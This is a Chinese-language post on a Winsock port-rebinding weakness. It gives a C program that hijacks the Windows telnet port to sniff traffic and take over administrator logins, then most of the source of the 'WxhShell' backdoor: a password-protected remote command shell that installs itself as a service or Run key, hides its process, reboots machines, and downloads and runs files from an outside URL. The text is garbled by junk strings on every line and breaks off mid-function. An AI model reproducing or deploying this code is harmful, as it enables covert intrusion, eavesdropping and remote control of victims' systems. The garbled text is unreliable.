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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I-Z|FKh_C s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JC%&d1
DrKB;6 saddr.sin_family = AF_INET; h Fik>B#! cLl~4jL saddr.sin_addr.s_addr = htonl(INADDR_ANY); %2T
i
Rb 7dcR@v`c bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R?O)vLmd +:uz=~mo` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &G\mcstX Nwz?*~1 这意味着什么?意味着可以进行如下的攻击: z,4mg6gt l>}f{az-T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T"[]'|' _0v+'&bz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;5bd<N m<hP"j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _yv#v_Z !*}UP|8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3}<U'%sd ,JE_aje7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bO2?DszT5 8 s$6R|ti 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GeTk/tU A}SGw.3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &jHsFS \jtA8o%n #include NC%hsg^0/ #include Z-Qp9G'
#include C)z4Cn9# #include X+aQ 7^"s DWORD WINAPI ClientThread(LPVOID lpParam); GYx0U8MJ[e int main() &\N>N7/1 { t` "m@ WORD wVersionRequested; );h(D!D, DWORD ret; cdt9hH`Cd WSADATA wsaData; 3&+dyhL'w BOOL val; ZOqS"3j! j SOCKADDR_IN saddr; &2y4k"B&) SOCKADDR_IN scaddr; H\Ra*EO~j int err; e4tIO SOCKET s; V ql4*OJW SOCKET sc; yov~'S9 int caddsize; aDKb78 1d HANDLE mt; cjEqN8 DWORD tid; sQa;l]O:NC wVersionRequested = MAKEWORD( 2, 2 ); v.Ba err = WSAStartup( wVersionRequested, &wsaData ); Ai<
beUS if ( err != 0 ) { f1MRmp-f' printf("error!WSAStartup failed!\n"); sgp.;h' return -1; `F7]M } ^)Hf% saddr.sin_family = AF_INET; z%YNZ^d }`B
.(3n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G%erh}0~ >ou=}/< saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4k;FZo]S saddr.sin_port = htons(23); <:v+<)K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i)o;,~ee { "tz6O0D printf("error!socket failed!\n"); S/'0czDMW return -1; 8)X9abC } 7Jf~Bn val = TRUE; %bDxvaftT //SO_REUSEADDR选项就是可以实现端口重绑定的 +
Q-b} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %":3xj'EEI { LTWkHyx printf("error!setsockopt failed!\n"); 1INX#qTZ return -1; #d-({blo< } _!03;zrO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N(&{~*YE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 : ,l7e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GJ,&$@8) PM\Ju] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =_dM@ j { mTE(JZt ret=GetLastError(); p;+O/'/j printf("error!bind failed!\n"); aA`eKy) \ return -1; 7rjl-FUA~ } b#6S8C+@ listen(s,2); t?GH
V3V while(1) +U
oNJ { G^c,i5}w caddsize = sizeof(scaddr); tIuM9D{P //接受连接请求 Fz7t84g( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &6x(%o| if(sc!=INVALID_SOCKET) C%o|}i v" { 46:<[0Psl/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s@\3|e5g if(mt==NULL) +4?Lwp'q { `nPdZ. printf("Thread Creat Failed!\n"); l/N<'T_G break; j6qtR$l| } /q9I^ ztV } yYCS-rF> CloseHandle(mt); FuHBzBoM= } YdhTjvx closesocket(s); ea3w WSACleanup(); *qpu!z2m|| return 0; =g#PP@X]D! } |bnd92fvks DWORD WINAPI ClientThread(LPVOID lpParam) Z<vz%7w { 6<&A}pp SOCKET ss = (SOCKET)lpParam; !l'nX SOCKET sc; k1B
](@xt unsigned char buf[4096]; Ng#psN SOCKADDR_IN saddr; g257jarkMF long num; _^<vp DWORD val; @M'k/jl DWORD ret; L ]')=J+ //如果是隐藏端口应用的话,可以在此处加一些判断 xQFRM aQE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 [c?0Q3F saddr.sin_family = AF_INET;
4E''pW]8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C
@Ts\);^ saddr.sin_port = htons(23); /uw@o9`~2- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (qAF2& { |O8e;v72g^ printf("error!socket failed!\n"); :,8y8z$+ return -1; KMhrw s{&B } wkt4vE87 val = 100; +Y?Tr i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) khX/xL {
eXl?f_9 ret = GetLastError(); lU1SN/'zx return -1; sUF$eVAT } `gl?y;xC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IjhRSrCv { Q=Q+*oog ret = GetLastError(); fN9{@)2Mz return -1; LW=qX%o{ } ?wtKi#k'v# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 48p3m)5
{ +:Zwo+\kSN printf("error!socket connect failed!\n"); whI4@# closesocket(sc); rVabkwYD closesocket(ss); cC8$ oCR? return -1; '&CZ%&(Gw } i3 js'?7E while(1) k7Nx#%xx { &^ERaPynd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |1wZ`wGZ:L //如果是嗅探内容的话,可以再此处进行内容分析和记录 m]DP{-s4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c<1$zQY! num = recv(ss,buf,4096,0); &tOo[U? if(num>0) !+$qSD,%x send(sc,buf,num,0); U'jmgHq else if(num==0) P.(UbF d' break; (0`rfYv5.R num = recv(sc,buf,4096,0); u&y> ' if(num>0) x.gz sd send(ss,buf,num,0); *42KLns else if(num==0) $bp'b<jx break; ^(Gl$GC$Mu } &Zz&VwWR closesocket(ss); fTmJDUv+ closesocket(sc); y1`%3\ return 0 ; Mx}r! Q } 0yjYjIk"T +^:uPW^U e,XT(KY ========================================================== n_sV>$f-u ?r;F'%N= 下边附上一个代码,,WXhSHELL qA}l[:F+# :MDFTw~ | ========================================================== +46& Zb35 E2hML #include "stdafx.h" tli*3YIw 319 4] #include <stdio.h> Lh+7z>1 #include <string.h> P'}EZ' #include <windows.h> :|l0x a #include <winsock2.h> yJx,4be #include <winsvc.h> p7},ymQ|YQ #include <urlmon.h> w_@6!zm NrcV%-+u% #pragma comment (lib, "Ws2_32.lib") 0>Kgz!I #pragma comment (lib, "urlmon.lib") }2=~7&) '<"%>-^Gn #define MAX_USER 100 // 最大客户端连接数 &w_8E+YZ #define BUF_SOCK 200 // sock buffer 1\TkI=N3 #define KEY_BUFF 255 // 输入 buffer |r*y63\T {s@&3i?ZiC #define REBOOT 0 // 重启 :>y5'q@R #define SHUTDOWN 1 // 关机 lfoPFJ
Z V(G{_>> #define DEF_PORT 5000 // 监听端口 'fb&3 2%l(qfN9 #define REG_LEN 16 // 注册表键长度 P@etT8| V #define SVC_LEN 80 // NT服务名长度 AfW:'>2
X/!Y mV! // 从dll定义API ZA4sEVHW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &WbHM)_n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h#h)=; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <SRSJJR|( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Or1ikI" ipiS= // wxhshell配置信息 5N>L|J2 struct WSCFG { .v) A|{:2 int ws_port; // 监听端口 $a')i<m^g char ws_passstr[REG_LEN]; // 口令 %F*h}i int ws_autoins; // 安装标记, 1=yes 0=no uCFpH5> char ws_regname[REG_LEN]; // 注册表键名 M4XU*piz char ws_svcname[REG_LEN]; // 服务名 f<DqA/$ char ws_svcdisp[SVC_LEN]; // 服务显示名 )=h+5Z>E1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 b<g9L4s char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4m9]d) int ws_downexe; // 下载执行标记, 1=yes 0=no U_0"1+jbq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" X{5(i3?S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oFJx8XU p6{8t} }; 0bIhP,4&
~<_PjV // default Wxhshell configuration o
3 G* struct WSCFG wscfg={DEF_PORT, $T'lWD * "xuhuanlingzhe", ^^*dHWHn< 1, WGMEZx "Wxhshell", cr{f*U6` "Wxhshell", ]+78
"( "WxhShell Service", "Kn%|\YL@4 "Wrsky Windows CmdShell Service", XgZ.UT "Please Input Your Password: ", DmpD`^?-L 1, `oH6'+fT`; " http://www.wrsky.com/wxhshell.exe", }W"/h)q "Wxhshell.exe" g"v-hTx }; r7:4|6E ~d6zpQf7> // 消息定义模块 t'Pn* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +,ZQ(
ZW char *msg_ws_prompt="\n\r? for help\n\r#>"; !.5,RIf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; r`CsR0[ char *msg_ws_ext="\n\rExit."; _"c?[n char *msg_ws_end="\n\rQuit."; )KD*G;<O]L char *msg_ws_boot="\n\rReboot..."; ~Wj.
4b* char *msg_ws_poff="\n\rShutdown..."; >*goDtTjp char *msg_ws_down="\n\rSave to "; vqJjAls Dj@7vM%_ char *msg_ws_err="\n\rErr!"; 5XA{<)$ char *msg_ws_ok="\n\rOK!"; 3,-xk!W$L [E|% char ExeFile[MAX_PATH]; Bgj^n{9x int nUser = 0; &,~Oi(SX5 HANDLE handles[MAX_USER]; s8 0$ int OsIsNt; 4brKAqg. vTU*6) SERVICE_STATUS serviceStatus; %Y// } SERVICE_STATUS_HANDLE hServiceStatusHandle; dBMr%6tz rOd~sa-H // 函数声明 iqPMCOPZ int Install(void); w0L+Sj db int Uninstall(void); $4a;R I int DownloadFile(char *sURL, SOCKET wsh); 1US4:6xX_ int Boot(int flag); 5WvtvSO void HideProc(void); -9z!fCu3 int GetOsVer(void); %gE*x
# int Wxhshell(SOCKET wsl); s xp>9& void TalkWithClient(void *cs); f/NfvLi(AU int CmdShell(SOCKET sock); HTU?hbG( int StartFromService(void); YRm6~c int StartWxhshell(LPSTR lpCmdLine); a8laPN 7$u}uv`j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YZ0Jei8+- VOID WINAPI NTServiceHandler( DWORD fdwControl ); $,9A?' CDU$Gi // 数据结构和表定义 UiLiy?EJ SERVICE_TABLE_ENTRY DispatchTable[] = qz<>9n@o { %RS8zN {wscfg.ws_svcname, NTServiceMain}, w[X/|O {NULL, NULL} soXIPf }; "MNI_C#{ )UgLs|G~ // 自我安装 txp^3dZ`^ int Install(void) 6_wj,7 { *kE<7 char svExeFile[MAX_PATH]; yhSbX4Q HKEY key; hiQ #< strcpy(svExeFile,ExeFile); 3"HW{= E+!A0!1 // 如果是win9x系统,修改注册表设为自启动 2j
<Y>Y if(!OsIsNt) { Qt`;+N( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $zUHka RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;S.o`z1GI RegCloseKey(key); vlS+UFH0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U8gf_R' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z+(V2?xcvt RegCloseKey(key); kt;uB
X3 return 0; fS#I?!*} } C_ 4(-OWq } $4ZjN N@ } ZGZ1Q/WH else { "F+m}GJ=a @zGz8IF // 如果是NT以上系统,安装为系统服务 {GP#/5$= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \\UOpl if (schSCManager!=0) x>TIQU=\ { D@
4sq^|2 SC_HANDLE schService = CreateService ?)V?6"fFP ( tEFbL~n schSCManager, bD ADFitSo wscfg.ws_svcname, u]uZc~T wscfg.ws_svcdisp, @D@_PA)e( SERVICE_ALL_ACCESS, =jIP29+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eWWtMnq SERVICE_AUTO_START, O@-|_N*;K SERVICE_ERROR_NORMAL, PyQ
P K, svExeFile, IJ E{JH NULL, {&,MkWgG NULL, \;bDDTM NULL, :-)H
ty zf NULL, GMW,+ NULL G A+#'R
); tx_h1[qi if (schService!=0) gO%oA} !i { eB2a1<S&@ CloseServiceHandle(schService); m4~>n( CloseServiceHandle(schSCManager); "l[ c/q[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i!u:]14> strcat(svExeFile,wscfg.ws_svcname); wT@{=s, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .h
r$<] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L)yc_ d5 RegCloseKey(key); |kK_B
:K return 0; +Jw+rjnP } U#>K( } A(6n- zL CloseServiceHandle(schSCManager); hA:RVeS{ } JS2h/Y$ } ,0\Pr iOXsj return 1; *c>B, } !cNw8"SIU 0f9*=c // 自我卸载 zTS P8Q7 int Uninstall(void) 6BH
P#B2j { LVe[N-K HKEY key;
x=YV*
`BzjDI:a if(!OsIsNt) { 7
V3r!y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mem1X rBH RegDeleteValue(key,wscfg.ws_regname); kO/]mNLG RegCloseKey(key); EK2mJCC| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d:3OC& RegDeleteValue(key,wscfg.ws_regname); y#v<V1b] RegCloseKey(key); ,-`A6ehg return 0; J. $U_k } /zg|I?$>Z4 } >SHP,><H/ } Ex-?[Hq else { "1z#6vw5a BFvRU5&Sz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,t@B]ll if (schSCManager!=0) |3P dlIbO { RfQ*`^D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oef] if (schService!=0) T7LO}(I.& { ZW%;"5uVm) if(DeleteService(schService)!=0) { _fjHa6S CloseServiceHandle(schService); t{Wu5<F: CloseServiceHandle(schSCManager); Lq]t6o] return 0; r^T+I3 } s_
%LU:WC CloseServiceHandle(schService); bx:j`5Uj` } >)6k)$x%% CloseServiceHandle(schSCManager); W*~[KdgC } .f-s+J&ED } ~nRbb;M bBY7^k return 1; 1~y\MD*-j } L XHDX x:iLBYf // 从指定url下载文件 CPci
'SO int DownloadFile(char *sURL, SOCKET wsh) +o|I@7f { o?/fObV@( HRESULT hr; y`a]##1j$M char seps[]= "/"; qCy
SL lp0 char *token; S7(tGD char *file; z<OfSS_]R char myURL[MAX_PATH]; Ma^}7D
/ char myFILE[MAX_PATH]; HQGH7<=Om 0aa&13!5 strcpy(myURL,sURL); NeR1}W token=strtok(myURL,seps); -\~HAnh while(token!=NULL) h~5gHx/a { [sZ,nB/ file=token; ODKHI\U
token=strtok(NULL,seps); ?U3~rro! } _Lgi5B% ^_t7{z%sA[ GetCurrentDirectory(MAX_PATH,myFILE); hVW1l&s strcat(myFILE, "\\"); K>_~|ZN1C8 strcat(myFILE, file); ?*:BgaR_ send(wsh,myFILE,strlen(myFILE),0); g9AA)Ykp send(wsh,"...",3,0); `<(o;*&Gd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h@ @q:I= if(hr==S_OK) DHVfb(H5e return 0; 4[rX\?^e else o'=i$Eb return 1; +pxtar T/P
} [<.dOe7| ;R7+6 // 系统电源模块 <;hy-Q()D int Boot(int flag) +,UuJ6[n { t: 03 HANDLE hToken; zU";\); TOKEN_PRIVILEGES tkp; ntn ~=oL /! M%9gu if(OsIsNt) { #YK=e&da OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D
4<,YBvV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GRAPv|u9[ tkp.PrivilegeCount = 1; K_-S`-eH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =xr2-K)e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b
q8nV if(flag==REBOOT) { xG|lmYt76 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 +8{Y return 0; \Wb3JQ) } ' pfkbmJ else { nQ;M@k&9eV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7W=s.Gy7G\ return 0; K
Vnz{cx` } KNSMx<GP } ; g\rY else { +@MG$*}Oz if(flag==REBOOT) { Fr hI[D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +K48c,gt? return 0; e|4U2\&3y } aPHNX) else { 'h>CgR^NM1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xd!GRJ<I return 0; qjH/E6GGg } &,'CHBM } C,,S<=L: 0>yuB gh return 1; H'jo3d~+ } d+]/0J!c a>#]d // win9x进程隐藏模块 O[ug7\cl+ void HideProc(void) @UW*o&pGqL { -|GX]jx(Y !DXK\,;> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AizLzR$OG if ( hKernel != NULL ) k.wm{d]J { zZiga q" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gCaxZ~o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6,(S}x
YDZ FreeLibrary(hKernel); M8|kmF\B } 14yzGhA /;`-[ return; h-5] nL3 } Cg]S`R- >Slu?{l' // 获取操作系统版本 V(F1i%9l g int GetOsVer(void) Z>hGqFZ0{ { h/7_I uD OSVERSIONINFO winfo; z*`nfTw l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #g]eDU-[ GetVersionEx(&winfo); Go PK. E$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]
jycg@=B return 1; %[fZ@!B else 0|FQIhVuY return 0; +uMK_ds~ } 6QNO#!; nOK1Wc%/' // 客户端句柄模块 (ljoD[kZ int Wxhshell(SOCKET wsl) F*=}}H/ { [[KIuW~ot SOCKET wsh; 2Y%E.){ struct sockaddr_in client; .p-T > DWORD myID; wZ/b;%I! L%I8no-Q while(nUser<MAX_USER) iH)-8Q { &\<?7Qj3U| int nSize=sizeof(client); z`Xc] cPi wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cT#R B7 if(wsh==INVALID_SOCKET) return 1; !Z%pdqo`. !6eF8T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %^bN^Sq
- if(handles[nUser]==0) y@\J7 h: closesocket(wsh); `,)%<} else @!%HEs!# # nUser++; yGlOs]>n } en29<#8TO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YT)@&HaF _+.
)8
return 0; g
I4Rku } !p(N
DQm S3?U-R^` // 关闭 socket {Zf 9}
!qF void CloseIt(SOCKET wsh) AHn
Yfxv_ { A(wuRXnVWK closesocket(wsh); 1^ y^b{ nUser--; dU#}Tk ExitThread(0); yQquGu } >:f&@vwm >e QFY^d5 // 客户端请求句柄 S &F void TalkWithClient(void *cs) )"f*Mp { %#@5(_' xRm~a-rp SOCKET wsh=(SOCKET)cs; 8o!LgT5 char pwd[SVC_LEN]; Mtq^6`JJ' char cmd[KEY_BUFF]; tQcn%CK char chr[1]; S"Drg m. int i,j; 6_O3/ #~6au6LMC while (nUser < MAX_USER) { YUQKy2 BVv{:m{w if(wscfg.ws_passstr) { 9NausE40 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L] !M1\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GaLQ/V2R //ZeroMemory(pwd,KEY_BUFF); _#TbOfu i=0; zAO|{m<A2 while(i<SVC_LEN) { obSLy
Ed &``nYI g/ // 设置超时 aX|LEZ;D> fd_set FdRead; 3}2a3) struct timeval TimeOut; \Qei}5P, FD_ZERO(&FdRead); (sx,Ol FD_SET(wsh,&FdRead); lIgAc!q( TimeOut.tv_sec=8; *&~wl(+O= TimeOut.tv_usec=0; 4'`y5E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BHJS.o*j~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z,5B(X j d @>1m:p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c^`(5}39v pwd =chr[0]; d^^EfWU if(chr[0]==0xd || chr[0]==0xa) { vJ0Zv>
n- pwd=0; ]TIBy "3 break; 5FwVR3, } M 3c i++; dmk_xBy s| } s!WI:E7 )A:|8m // 如果是非法用户,关闭 socket #qg(DgH
7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P%Tffsl
} ~oE@y6Q Eg 8rgiU send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2*}qQ0J send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `rZS\A @t<KS& while(1) { K#4Toc#=V A,]%*kg2 ZeroMemory(cmd,KEY_BUFF); 6>j0geFyE2 )@a_|q@V // 自动支持客户端 telnet标准 gkL{]*9&% j=0; zb& 3{, while(j<KEY_BUFF) { +'!Y[7|9iv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R&9Q#n- cmd[j]=chr[0]; j|2s./!Qg if(chr[0]==0xa || chr[0]==0xd) { p@jwHlX cmd[j]=0; q-TDg0 break; Tb<}GcwJ } qotWWe# j++; ayh=@7* } <U~at+M j/uu&\e // 下载文件 Pj{Y if(strstr(cmd,"http://")) { g0>Q* x send(wsh,msg_ws_down,strlen(msg_ws_down),0); .l +yK-BZ if(DownloadFile(cmd,wsh)) \TnRn(Kw send(wsh,msg_ws_err,strlen(msg_ws_err),0); j-9Zzgr else u @#fOu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Rr0f 8 } -8m3L else { 0=Mu|G|Z >m#bj^F\ switch(cmd[0]) { OS sYmF ]1&}L^a // 帮助 pgEDh^[MW case '?': { oxXCf%! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h@%a+ 6b? break; ^j]_MiA4 } 5dkXDta[G // 安装 ,WtJ&S7? case 'i': { MkX=34oc^ if(Install()) 2./;i>H[u send(wsh,msg_ws_err,strlen(msg_ws_err),0); qA5 Ug else J+r:7NvZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ri;_
8v[H| break; <BjrW]pM } ,yH\nqEz // 卸载 @^Yr=d ba case 'r': { i6 )HC if(Uninstall()) 3 @%XR8ss send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]_43U` [# else {3!E8~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qB5.of[N! break; t4Pi <m:7 } e-*-91D // 显示 wxhshell 所在路径
()e|BFL . case 'p': { cG,zO-H char svExeFile[MAX_PATH];
{[dY$
strcpy(svExeFile,"\n\r"); vX|5*T`( strcat(svExeFile,ExeFile); ^MO})C send(wsh,svExeFile,strlen(svExeFile),0); odW K\e break; %
Ou'+A } \IZY\WU}2 // 重启 CN:z
*g case 'b': { 3<HZ)w^B send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q5{h@}|M if(Boot(REBOOT)) SM\qd4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/Pq/\,R| else { 1P?|.W_^1 closesocket(wsh); u6SQq-)d ExitThread(0); YO9;NA{sH } mM.YZUX break; ^09-SUl^ } b_^y
Ke^W // 关机 i!)\m0Wm case 'd': { @MO/LvD send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8QMib3p if(Boot(SHUTDOWN)) |#yH,f send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~z)JO'Z$
else { H*Tzw,f~ v closesocket(wsh); Q89fXi0Ivb ExitThread(0); ih-J{1 } HI7w@V8Ed break; Ub/ZzAwq } glLoYRTi
// 获取shell rn/~W[ case 's': { <Xw\:5
F<7 CmdShell(wsh); 54=*vokX_ closesocket(wsh); -iL:D<!Cb_ ExitThread(0); OX%#8Lx break; W/g_XQ } 4w)>} // 退出 {@6:kkd case 'x': { 3&mpn, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t
YxN^VqU CloseIt(wsh); nW}jTBu_K+ break; &gKDw!al } v3]5`&3~ // 离开 \&b 9 case 'q': { TD%&9$F send(wsh,msg_ws_end,strlen(msg_ws_end),0); )ZI#F] closesocket(wsh);
sC0u4w>Y WSACleanup(); `][vaLd`Q exit(1); 6%}`!_N<Mc break; Wf^sl } *V 4%&&{ } p]ujip } ;dPaWS1D
lX.-qCV"B // 提示信息 T<"Bb[kH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =fJU+N+< } ZZ
Hjv } 6~Dyr82"B 1wFW&|>1 return; KJ:z\N8eo } (Gw*xsn 1 FSm.o?> // shell模块句柄 ]YtN6Rq/ int CmdShell(SOCKET sock) Y[]I!Bc { x;<0Gg~jB STARTUPINFO si; z~3GgR"1d ZeroMemory(&si,sizeof(si)); :;eQ*{ `\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Arm'0)B> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;i\N!T{> PROCESS_INFORMATION ProcessInfo; <b.p/uA char cmdline[]="cmd"; uAqiL>y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @&Z^WN,x return 0; U[02$gd0l } Vjs'|%P7 V?1[R // 自身启动模式 _cE_\Ay int StartFromService(void) 1Y*k"[?dW { jU~ x^Y typedef struct v/9DD% An { ?_d6; DWORD ExitStatus; T- _)) DWORD PebBaseAddress; D =mmBo DWORD AffinityMask; NLK1IH# DWORD BasePriority; B{R [z%Y ULONG UniqueProcessId; l)*(UZ" ULONG InheritedFromUniqueProcessId; y: x<`E= } PROCESS_BASIC_INFORMATION; q)L4*O 2.I|8d[ PROCNTQSIP NtQueryInformationProcess; Zp3-Yo w2 ?tL' X static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |T$?vIG[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uxB)dS Lc5zu7ncg HANDLE hProcess; Vj 9X6u}{ PROCESS_BASIC_INFORMATION pbi; E&
i (T2c `
